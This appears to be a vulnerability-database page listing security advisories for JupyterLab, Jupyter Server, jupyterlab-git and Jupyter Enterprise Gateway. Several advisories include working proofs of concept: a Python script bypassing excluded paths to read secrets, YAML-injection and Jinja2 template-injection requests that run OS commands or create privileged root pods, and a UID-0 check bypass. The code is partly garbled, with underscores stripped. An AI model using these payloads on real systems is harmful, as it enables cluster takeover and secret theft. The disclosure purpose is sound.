Where
-Infinity
0
Severity
8.6
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

jupyterlab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook Architecture. From 3.3.0 until 4.5.10 and 4.6.2, JupyterLab allows notebook settings to be shared and applied through an overrides.json file using the Import button in the Settings Editor. In packages/notebook-extension/schema/tracker.json and packages/notebook-extension/src/index.ts, the sideBySideLeftMarginOverride and sideBySideRightMarginOverride settings are not properly validated before being inserted into style content, allowing a crafted settings file to contain instructions that execute as code instead of only changing display preferences. A user can import the malicious file, or an attacker with access to a shared settings location can plant an overrides.json that is applied automatically. The embedded code runs with the affected user's access and can read or modify notebooks and files and run code through the notebook server, including on a connected kernel. This issue is fixed in versions 4.5.10 and 4.6.2.

First published (updated )
Severity
6.1
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

jupyterlab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook Architecture. From 4.5.0 until 4.5.10 and 4.6.2, in jupyterlab/extensions/manager.py and jupyterlab/extensions/pypi.py, JupyterLab's PyPI extension manager enforces blockedextensionsuris by comparing requested install names to blocklist entries with custom normalization that is weaker than PyPI package-name canonicalization. An authenticated user can request a PyPI-equivalent spelling such as JupyterLab.Git for a blocklisted package such as jupyterlab-git, and JupyterLab accepts the install request even though pip resolves the variant to the same package. Security impact requires an allowlist or blocklist intended to restrict package installation, the PyPI Extension Manager, and kernels and terminals that are disabled or delegated to remote hosts. The bypass lets an authenticated user install a prohibited extension, defeat integrity restrictions, and affect availability without gaining new read access. This issue is fixed in versions 4.5.10 and 4.6.2.

First published (updated )
Severity
7.7
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

JupyterLab versions >=4.6.0,<=4.6.1 and <=4.5.9 contain an allowlist/blocklist enforcement gap in PyPIExtensionManager.install(). A missing 'await' caused the isinstallallowed coroutine to never execute, so the extension allowlist/blocklist check was not enforced for direct callers of install(). The stock JupyterLab HTTP API and Extension Manager UI are not affected, as they perform a separate, correctly awaited check. The issue affects only deployments where a custom extension or downstream integration imports PyPIExtensionManager and calls install() directly with a package name influenced by untrusted input, an allowlist/blocklist is configured, the PyPI Extension Manager is enabled, and kernels and terminals are disabled or delegated to remote hosts. Fixed in JupyterLab 4.6.2 and 4.5.10.

First published (updated )
Severity
7.5
XSS
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

jupyterlab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook Architecture. Prior to 4.5.10 and 4.6.2, in packages/imageviewer/src/widget.ts, JupyterLab's ImageViewer uses URL.createObjectURL for a specially crafted SVG image and revokes the blob URL too early, allowing the image to retain an executable same-origin context when it is opened through the image viewer and then opened in a new browser tab. The resulting cross-site scripting can be used to execute arbitrary code on the JupyterLab server. This issue is fixed in versions 4.5.10 and 4.6.2.

First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Impact

Invalid input to login resulted in unbounded logging output. Only form-based Authenticators (the default PAM Authenticator, but not the more widely used OAuthenticator) are affected.

Patches

Upgrade to 5.5.0.

Workarounds

Use an Authenticator that doesn't use a login form, such as OAuthenticator.

1 / 2
Source: GitHub
First published (updated )
Severity
5.1
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

JupyterLab before 4.5.9 contains a stored cross-site scripting vulnerability in the Extension Manager that fails to validate URI protocols in package metadata URLs. Attackers can publish malicious PyPI packages with javascript: URLs in project metadata that execute arbitrary JavaScript in the JupyterLab origin when users click the extension name.

First published (updated )
Severity
7
XSS

Jupyter Server is the backend for Jupyter web applications. Prior to 2.20, the nbconvert HTTP handlers in jupyterserver render user-authored notebook HTML under the Jupyter origin without a sandbox directive in their Content-Security-Policy. Combined with nbconvert.HTMLExporter's default non-sanitizing behavior, a notebook carrying an HTML payload in a displaydata output triggers stored XSS with cookie access, full /api/ authority, and kernel RCE. This vulnerability is fixed in 2.20.

First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Summary

jupyterlab-git 0.53.0 (latest, 2026-04-30) uses fnmatch.fnmatchcase() in GitHandler.prepare() (jupyterlabgit/handlers.py:91) to enforce the admin-configured excludedpaths security control. Because fnmatchcase is unconditionally case-sensitive, an authenticated user on a case-insensitive filesystem (macOS APFS, Windows NTFS) can bypass the exclusion by varying the case of the URL path segment — e.g. requesting /git/project/Secrets/... instead of /git/project/secrets/... — gaining read access to git history, file content, and status in directories the administrator explicitly excluded.

Vulnerable Code

python jupyterlabgit/handlers.py:84-92 async def prepare(self): """Check if the path should be skipped""" await ensureasync(super().prepare()) path = self.pathkwargs.get("path") if path is not None: excludedpaths = self.git.excludedpaths for excludedpath in excludedpaths: if fnmatch.fnmatchcase(path, excludedpath): # ← always case-sensitive raise tornado.web.HTTPError(404)

Root Cause

fnmatch.fnmatchcase() is unconditionally case-sensitive regardless of the operating system. Contrast with fnmatch.fnmatch() which normalizes via os.path.normcase() on case-insensitive platforms.

python fnmatch.fnmatchcase("/project/secrets", "/project/secrets") # True — blocked fnmatch.fnmatchcase("/project/Secrets", "/project/secrets") # False — bypasses check

On macOS APFS and Windows NTFS, /project/Secrets and /project/secrets resolve to the same directory on disk. The exclusion check rejects only the exact-case match, but the downstream url2localpath() resolves the case-varied path to the same filesystem location.

Impact

An authenticated JupyterLab user with access to the affected Jupyter server can bypass admin-configured excludedpaths by varying the case of the URL path segment. This grants:

- Read file content at any git ref (/content endpoint) - Read working tree files in the excluded directory - View git status, log, diff on the excluded path - Enumerate commits touching excluded files

Attack Scenario

1. Admin configures c.JupyterLabGit.excludedpaths = ["/project/secrets", "/project/secrets/"] 2. Normal request POST /git/project/secrets/status → HTTP 404 (blocked) 3. Attacker requests POST /git/project/Secrets/status → HTTP 200 (bypass) 4. Attacker reads secret: POST /git/project/Secrets/content with {"filename": "./cred.txt", "reference": {"git": "HEAD"}} → file content returned

Exploit

See poc.py. Starts a real jupyter-server with jupyterlab-git loaded, configures excludedpaths, and demonstrates bypass + exfiltration via HTTP. python import json, os, shutil, subprocess, sys, tempfile, time import urllib.request, urllib.error

from jupyterlabgit.handlers import GitHandler # real import, no mock from jupyterlabgitcore.git import Git import jupyterlabgitcore

PORT = 18895 TOKEN = "xtoken" BASEURL = f"http://127.0.0.1:{PORT}" SECRET = "sk-PROD-a8f2x9q-LIVE-KEY"

def post(pathseg, endpoint, body=None): url = f"{BASEURL}/git/{pathseg}{endpoint}" data = json.dumps(body or {}).encode() req = urllib.request.Request(url, data=data, method="POST", headers={"Authorization": f"token {TOKEN}", "Content-Type": "application/json"}) try: resp = urllib.request.urlopen(req, timeout=10) return resp.status, json.loads(resp.read()) except urllib.error.HTTPError as e: return e.code, e.read().decode()

def main(): basedir = tempfile.mkdtemp(prefix="jlgit") workspace = os.path.join(basedir, "workspace") repodir = os.path.join(workspace, "project") secretdir = os.path.join(repodir, "secrets") os.makedirs(secretdir)

with open(os.path.join(secretdir, "cred.txt"), "w") as f: f.write(SECRET + "\n")

gitenv = {os.environ, "GITAUTHORNAME": "a", "GITAUTHOREMAIL": "a@x", "GITCOMMITTERNAME": "a", "GITCOMMITTEREMAIL": "a@x"} subprocess.run(["git", "init"], cwd=repodir, captureoutput=True, check=True) subprocess.run(["git", "add", "."], cwd=repodir, captureoutput=True, check=True) subprocess.run(["git", "commit", "-m", "init"], cwd=repodir, captureoutput=True, check=True, env=gitenv)

configpath = os.path.join(basedir, "jupyterserverconfig.py") with open(configpath, "w") as f: f.write(f'c.ServerApp.rootdir = "{workspace}"\n') f.write(f'c.ServerApp.token = "{TOKEN}"\n') f.write(f'c.ServerApp.openbrowser = False\n') f.write(f'c.ServerApp.port = {PORT}\n') f.write(f'c.ServerApp.ip = "127.0.0.1"\n') f.write(f'c.ServerApp.disablecheckxsrf = True\n') f.write(f'c.JupyterLabGit.excludedpaths = ["/project/secrets", "/project/secrets/"]\n')

env = os.environ.copy() env["JUPYTERCONFIGDIR"] = basedir env["JUPYTERDATADIR"] = basedir proc = subprocess.Popen( [sys.executable, "-m", "jupyterserver", f"--config={configpath}", "--ServerApp.jpserverextensions={'jupyterlabgit': True}"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env, cwd=basedir)

for in range(30): try: req = urllib.request.Request(f"{BASEURL}/api/status", headers={"Authorization": f"token {TOKEN}"}) if urllib.request.urlopen(req, timeout=2).status == 200: break except (urllib.error.URLError, OSError): pass time.sleep(0.5) else: proc.kill() shutil.rmtree(basedir, ignoreerrors=True) sys.exit("server failed to start")

try: # exclusion works code, = post("project/secrets", "/status") blocked = code == 404

# bypass code, = post("project/Secrets", "/status") bypassed = code == 200

# exfiltrate code, body = post("project/Secrets", "/content", {"filename": "./cred.txt", "reference": {"git": "HEAD"}}) content = body.get("content", "") if isinstance(body, dict) else "" exfiltrated = SECRET in content

ok = blocked and bypassed and exfiltrated print(f"exclusion enforced (lowercase): {blocked}") print(f"bypass (case-varied): {bypassed}") print(f"secret exfiltrated: {exfiltrated}") print(f"result: {'VULNERABLE' if ok else 'NOT CONFIRMED'}") return ok

finally: proc.terminate() proc.wait(timeout=5) shutil.rmtree(basedir, ignoreerrors=True)

if name == "main": sys.exit(0 if main() else 1)

bash pip install 'jupyterlab-git==0.53.0' python poc.py <img width="686" height="146" alt="image" src="https://github.com/user-attachments/assets/f5b8d349-539a-44d7-9b17-d13b5f802625" />

Fix

python if fnmatch.fnmatch(path.lower(), excludedpath.lower()): raise tornado.web.HTTPError(404)

Or apply os.path.normcase() to both operands before comparison.

1 / 2
Source: GitHub
First published (updated )
Severity
9.3
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

JupyterLab Git is a Git extension for JupyterLab. From 0.30.0b3 before 0.54.0, the PlainTextDiff.ts createHeader() method passes Git filenames directly to innerHTML when rendering renamed files in commit history, allowing a crafted filename to execute JavaScript when a victim views the rename diff in the Git History tab. This issue is fixed in version 0.54.0.

1 / 2
Source: MITRE
First published (updated )
Severity
9.3
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Jupyter Server is the backend for Jupyter web applications. Prior to 2.20, the nbconvert HTTP handlers in jupyterserver render user-authored notebook HTML under the Jupyter origin without a sandbox directive in their Content-Security-Policy. Combined with nbconvert.HTMLExporter's default non-sanitizing behavior, a notebook carrying an HTML payload in a displaydata output triggers stored XSS with cookie access, full /api/ authority, and kernel RCE. This vulnerability is fixed in 2.20.

1 / 2
Source: MITRE
First published (updated )
Severity
10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The environment variables used during the rendering of the Kubernetes manifest allow YAML injection, enabling attackers to overwrite existing keys like securityContext and inject multi-document YAML to create additional unintended Kubernetes resources.

Details

The server interpolates untrusted environment variables (e.g., KERNELXXX) into Kubernetes manifests without YAML-aware escaping, enabling YAML injection attacks. Attackers can inject new fields, overwrite critical fields (e.g., duplicate securityContext keys, where the last one prevails), and inject document boundaries (--- for new documents, ... for end-of-document) to generate multiple resources, potentially creating arbitrary kinds like privileged pods.

The Jinja2 template for the Kubernetes manifest contains several kernelxxx variables, such as kernelworkingdir that are used when rendering the manifest and are all vectors for YAML injection. https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77

These values come from the environment passed in the API call, where they were KERNELXXX before being converted to lowercase.

https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launchkubernetes.py#L130-L137

PoC

These proof of concepts are injecting in the KERNELWORKINGDIR env var, but any of the env vars could have been used. By default, the KERNELWORKINGDIR will be ignored unless EGMIRRORWORKINGDIRS is truthy for the enterprise-gateway. This is controlled by the mirrorWorkingDirs value in the Helm chart.

Using ducaale/xh:

bash xh http://localhost:31529/api/kernels env:=@env-working-dir-exploit.yaml

env-working-dir-exploit.yaml:

json { "KERNELPODNAME": "working-dir-root", "KERNELNAMESPACE": "notebooks", "KERNELWORKINGDIR": "\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \"" }

Resulting request:

POST /api/kernels HTTP/1.1 Accept: application/json, /;q=0.5 Accept-Encoding: gzip, deflate, br, zstd Connection: keep-alive Content-Length: 233 Content-Type: application/json Host: localhost:31529 User-Agent: xh/0.24.0

{ "env": { "KERNELPODNAME": "working-dir-root", "KERNELNAMESPACE": "notebooks", "KERNELWORKINGDIR": "\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \"" } }

Curl equivalent command:

bash curl http://localhost:31529/api/kernels -H 'content-type: application/json' -H 'accept: application/json, /;q=0.5' -d '{"env":{"KERNELPODNAME":"working-dir-root","KERNELNAMESPACE":"notebooks","KERNELWORKINGDIR":"\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \""}}'

The rendered Jinja2 template:

yaml This file defines the Kubernetes objects necessary for kernels to run witihin Kubernetes. Substitution parameters are processed by the launchkubernetes.py code located in the same directory. Some values are factory values, while others (typically prefixed with 'kernel') can be provided by the client. This file can be customized as needed. No changes are required to launchkubernetes.py provided kernel values are used - which be automatically set from corresponding KERNEL env values. Updates will be required to launchkubernetes.py if new document sections (i.e., new k8s 'kind' objects) are introduced. apiVersion: v1 kind: Pod metadata: name: "working-dir-root" namespace: "notebooks" labels: kernelid: "186f4ecf-bf90-40b8-b210-a0987bfce927" app: enterprise-gateway component: kernel source: kernel-pod.yaml annotations: cluster-autoscaler.kubernetes.io/safe-to-evict: "false" spec: restartPolicy: Never serviceAccountName: "default" NOTE: that using runAsGroup requires that feature-gate RunAsGroup be enabled. WARNING: Only using runAsUser w/o runAsGroup or NOT enabling the RunAsGroup feature-gate will result in the new kernel pod's effective group of 0 (root)! although the user will correspond to the runAsUser value. As a result, BOTH should be uncommented AND the feature-gate should be enabled to ensure expected behavior. In addition, 'fsGroup: 100' is recommended so that /home/jovyan can be written to via the 'users' group (gid: 100) irrespective of the "kerneluid" and "kernelgid" values. securityContext: runAsUser: 1000 runAsGroup: 100 fsGroup: 100 containers: - image: "elyra/kernel-py:3.2.3" name: "working-dir-root" env: Add any custom envs here that aren't already configured for the kernel's environment - name: MYCUSTOMENV value: "mycustomvalue" workingDir: "/tmp"

INJECTION securityContext: runAsUser: 0 runAsGroup: 0 fsGroup: 100 HAHA - stray quote " volumeMounts: Define any "unconditional" mounts here, followed by "conditional" mounts that vary per client volumes: Define any "unconditional" volumes here, followed by "conditional" volumes that vary per client

Normally the container would run as uid=1000(jovyan) gid=100(users) groups=100(users). This injects a pod securityContext with runAsUser: 0 and runAsGroup: 0 (and fsGroup: 100). The processing of the YAML results in the duplicate key clobbering the original. Making the container run as uid=0(root) gid=0(root) groups=0(root),100(users).

In addition to injecting a pod level securityContext it is also possible to inject a container level securityContext which supports the privileged field.

Injecting a Pod

By injecting ... and --- it is possible to use multi-document YAML to inject Kubernetes resources.

bash xh http://localhost:31529/api/kernels env:=@env-working-dir-exploit-pod.yaml

env-working-dir-exploit-pod.yaml:

json { "KERNELPODNAME": "working-dir-root-pod", "KERNELNAMESPACE": "notebooks", "KERNELWORKINGDIR": "\"/tmp\\\"\\n\\n# INJECTION\\n...\\n---\\napiVersion: v1\\nkind: Pod\\nmetadata:\\n name: injected-pod\\n\\\n spec:\\n containers:\\n - name: injected-container\\n image: nginx\\n ports:\\n - containerPort: 80\\n securityContext:\\n privileged: true\\n runAsUser: 0\\n runAsGroup: 0\\n...\\n# HAHA - stray quote\"" }

This is rendered as (skipping the beginning of the rendering before the inject):

yaml workingDir: "/tmp"

INJECTION ... --- apiVersion: v1 kind: Pod metadata: name: injected-pod spec: containers: - name: injected-container image: nginx ports: - containerPort: 80 securityContext: privileged: true runAsUser: 0 runAsGroup: 0 ... HAHA - stray quote" volumeMounts: Define any "unconditional" mounts here, followed by "conditional" mounts that vary per client volumes: Define any "unconditional" volumes here, followed by "conditional" volumes that vary per client

kubectl get pods -n notebooks NAME READY STATUS RESTARTS AGE injected-pod 1/1 Running 0 4s working-dir-root-pod 1/1 Running 0 4s

The injected-pod has been created in addition to the working-dir-root-pod.

kubectl get pod/injected-pod -o yaml -n notebooks -o jsonpath='{.spec.containers[].securityContext}':

json { "privileged": true, "runAsGroup": 0, "runAsUser": 0 }

Impact

An attacker can create pods running with arbitrary, image, securityContext, and volumeMounts including hostPath mounts. Privileged pods can be created.

Arbitrary Kubernetes resources of kinds: Pod, Secret, PersistentVolumeClaim, PersistentVolume, Service, and ConfigMap can be created.

Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. Multiple container escape vectors exist. It is possible to create privileged pods which could load kernel modules to compromise the host. It is also possible to specify volume mounts, so another vector for a container escape is to use a hostPath R/W volume mount, use the injected securityContext to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system.

1 / 2
Source: GitHub
First published (updated )
Severity
10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The environment variables (KERNELXXX) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI). By including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service. The code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a hostPath volume mount.

Details

The KERNELPODNAME variable is rendered using Jinja2, allowing for code execution via template expression statements, in this code: https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprisegateway/services/processproxies/k8s.py#L219-L247

The Jinja2 template for the Kubernetes manifest contains several kernelxxx variables, in addition to kernelpodname discussed above, such as kernelworkingdir that are used when rendering the manifest and are all vectors for SSTI. https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77

These values come from the environment passed in the API call, where they were KERNELXXX before being converted to lowercase.

https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launchkubernetes.py#L130-L137

PoC

Simple demonstration of SSTI using {{7 7}}

bash curl http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels --data '{"name":"pythonkubernetes", "env": {"KERNELPODNAME": "bdawg-{{7 7}}" }}'

json {"id": "1094076f-35c6-48a5-ae60-0c943bb97a9a", "name": "pythonkubernetes", "lastactivity": "2025-07-17T07:14:42.155736Z", "executionstate": "starting", "connections": 0}

Running kubectl get pods NAME READY STATUS RESTARTS AGE bdawg-49 1/1 Running 0 3m54s

Remote code execution - OS Commands via SSTI

bash curl http://enterprise-gateway.notebooks.svc.cluster.local:8888/api/kernels --data '{"name":"pythonkubernetes", "env": {"KERNELPODNAME": "bdawg-{{ cycler.init.globals.os.popen(\"hostname\").read() }}", "KERNELNAMESPACE": "notebooks" }}'

json {"id": "85ec9431-d005-48d5-8127-5f022f2c5780", "name": "pythonkubernetes", "lastactivity": "2025-07-17T07

NAME READY STATUS RESTARTS AGE bdawg-enterprise-gateway-8695685bc8-klm4m 1/1 Running 0 2m25s

enterprise-gateway-8695685bc8-klm4m is the hostname of the Enterprise Gateway pod.

Enterprise Gateway RBAC The Enterprise Gateway service account has R/W access to several resource kinds.

Stolen Enterprise Gateway service account kubectl auth can-i --list

Resources Non-Resource URLs Resource Names Verbs selfsubjectreviews.authentication.k8s.io [] [] [create] selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] rolebindings.rbac.authorization.k8s.io [] [] [get list create delete] configmaps [] [] [get watch list create delete] namespaces [] [] [get watch list create delete] persistentvolumeclaims [] [] [get watch list create delete] persistentvolumes [] [] [get watch list create delete] pods [] [] [get watch list create delete] secrets [] [] [get watch list create delete] services [] [] [get watch list create delete] scheduledsparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete] scheduledsparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete] sparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete] sparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete] [/.well-known/openid-configuration/] [] [get] [/.well-known/openid-configuration] [] [get] [/api/] [] [get] [/api] [] [get] [/apis/] [] [get] [/apis] [] [get] [/healthz] [] [get] [/healthz] [] [get] [/livez] [] [get] [/livez] [] [get] [/openapi/] [] [get] [/openapi] [] [get] [/openid/v1/jwks/] [] [get] [/openid/v1/jwks] [] [get] [/readyz] [] [get] [/readyz] [] [get] [/version/] [] [get] [/version/] [] [get] [/version] [] [get] [/version] [] [get]

Impact This is a server side template injection that leads to remote code execution (python and OS commands).

An attacker can get remote code execution in the Enterprise Gateway pod and steal its Kubernetes service account's token. It can use the privileges to spy on and interfere with other Jupyter kernel, read, write, or delete configuration maps, read secrets, access persistent storage, privileged pods, or create pods with hostPath mounts, which can be used to compromise the complete cluster and all workloads on it.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

Jupyter Enterprise Gateway has a prohibited UID and GID feature that by default prevents launching kernels with UID or GID 0 (root). This can be bypassed. It is possible to launch kernels with a prohibited UID and/or GID by using a specially crafted KERNELUID or KERNELGID value.

The feature is described in the documentation:

https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/config-add-env.md?plain=1#L103-L107

https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/config-add-env.md?plain=1#L88-L92

https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/deploy-kubernetes.md?plain=1#L769

Details

The prohibiteduids and prohibiteduids are set based of the OS env var EGPROHIBITEDUIDS and EGPROHIBITEDGIDS, and default to the string 0.

https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprisegateway/services/processproxies/container.py#L29-L30

The checks https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprisegateway/services/processproxies/container.py#L113 and https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprisegateway/services/processproxies/container.py#L119 look for the user supplied KERNELUID / KERNELGID string in the prohibiteduids / prohibitedgids strings. These checks can be bypassed by including whitespace, for example the string 0 (trailing space).

The user supplied string is used in the Kubernetes manifest at https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L35 and https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L38 where they are parsed as an integer in the Jinja2 template - which will ignore the whitespace.

PoC

How it is meant to work

Trying 0 gets denied, as expected.

bash xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=pythonkubernetes env:='{"KERNELPODNAME":"bdawg", "KERNELUID": "0", "KERNELGID": "0"}'

HTTP/1.1 403 Kernel's UID value of '0' has been denied via EGPROHIBITEDUIDS! Content-Length: 94 Content-Type: application/json Date: Mon, 14 Jul 2025 12:57:09 GMT Server: TornadoServer/6.4.1 X-Content-Type-Options: nosniff

json { "reason": "Kernel's UID value of '0' has been denied via EGPROHIBITEDUIDS!", "message": "" }

Exploit bypassing the checks

Using 0 with a trailing space, bypasses the check.

bash xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=pythonkubernetes env:='{"KERNELPODNAME":"bdawg", "KERNELUID": "0 ", "KERNELGID": "0 "}'

HTTP/1.1 201 Created Content-Length: 172 Content-Type: application/json Date: Mon, 14 Jul 2025 14:15:19 GMT Location: /api/kernels/17eee032-994f-4dd2-8ade-87169c300a40 Server: TornadoServer/6.4.1 X-Content-Type-Options: nosniff

{ "id": "17eee032-994f-4dd2-8ade-87169c300a40", "name": "pythonkubernetes", "lastactivity": "2025-07-14T14:15:21.468155Z", "executionstate": "starting", "connections": 0 }

The pod is successfully scheduled.

Inspecting the container we can see it is running as root:

bash kubectl exec -it pod/bdawg -- bash

(base) root@bdawg3:~# id uid=0(root) gid=0(root) groups=0(root),100(users)

If we had not supplied the KERNELUID / KERNELGID the container would have been running as UID:GID 1000:100 (jovyan:users).

Impact

This input validation vulnerability allows running Jupyter kernels as root, which can be dangerous as it allows more attack surface, and may lead to container escapes, compromising the worker node and all workloads running on it. Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. It is possible to specify volume mounts, so one vector for a container escape is to use a hostPath R/W volume mount, use this UID/GID bypass to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system.

Organisations running Jupyter Enterprise Gateway to host Jupyter Kernels on at least Kubernetes clusters (I've tested this), and possibly on any other supported container orchestration systems or systems that utilise the KERNELUID and KERNELGID variables with the EGPROHIBITEDUIDS and EGPROHIBITEDGIDS feature.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

A vulnerability in jupyter-server versions 1.12.0 through 2.17.0 allows an attacker to bypass CORS origin validation when the alloworiginpat configuration is used. The issue arises from the use of re.match() for validating the Origin header, which only anchors at the start of the string. This allows attacker-controlled domains such as trusted.example.com.evil.com to pass validation against patterns intended to match trusted.example.com. The vulnerability affects multiple locations in the codebase, including CORS headers, WebSocket connections, referer validation, and login redirects, potentially enabling phishing attacks, arbitrary code execution, and unauthorized access to sensitive API responses.

First published (updated )
Severity
8.1
Path Traversal
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

A path traversal vulnerability exists in jupyter-server version 2.17.0 due to an incorrect root directory boundary check in the getospath() function within jupyterserver/services/contents/fileio.py. The check uses startswith(root) without appending a trailing path separator, allowing sibling directories with names starting with the same prefix as rootdir to bypass the check. Additionally, the toospath() function in utils.py does not strip ".." from path parts, enabling traversal sequences to bypass the vulnerable check. This vulnerability can lead to unauthorized read/write access to files in sibling directories, potentially exposing sensitive data in shared hosting environments.

1 / 2
Source: MITRE
First published (updated )
Severity
7

jupyterlab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook Architecture. Prior to 4.5.7, JupyterLab's HTML sanitizer allowlists data-commandlinker-command and data-commandlinker-args on button elements, while CommandLinker listens for all click events on document.body and executes the named command without checking whether the element came from trusted JupyterLab UI. A notebook with a pre-saved HTML cell output containing a deceptive button can trigger arbitrary JupyterLab commands - including arbitrary code execution - on a single user click, without any code being submitted for execution by the user. This vulnerability is fixed in 4.5.7.

First published (updated )
Severity
8.6
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

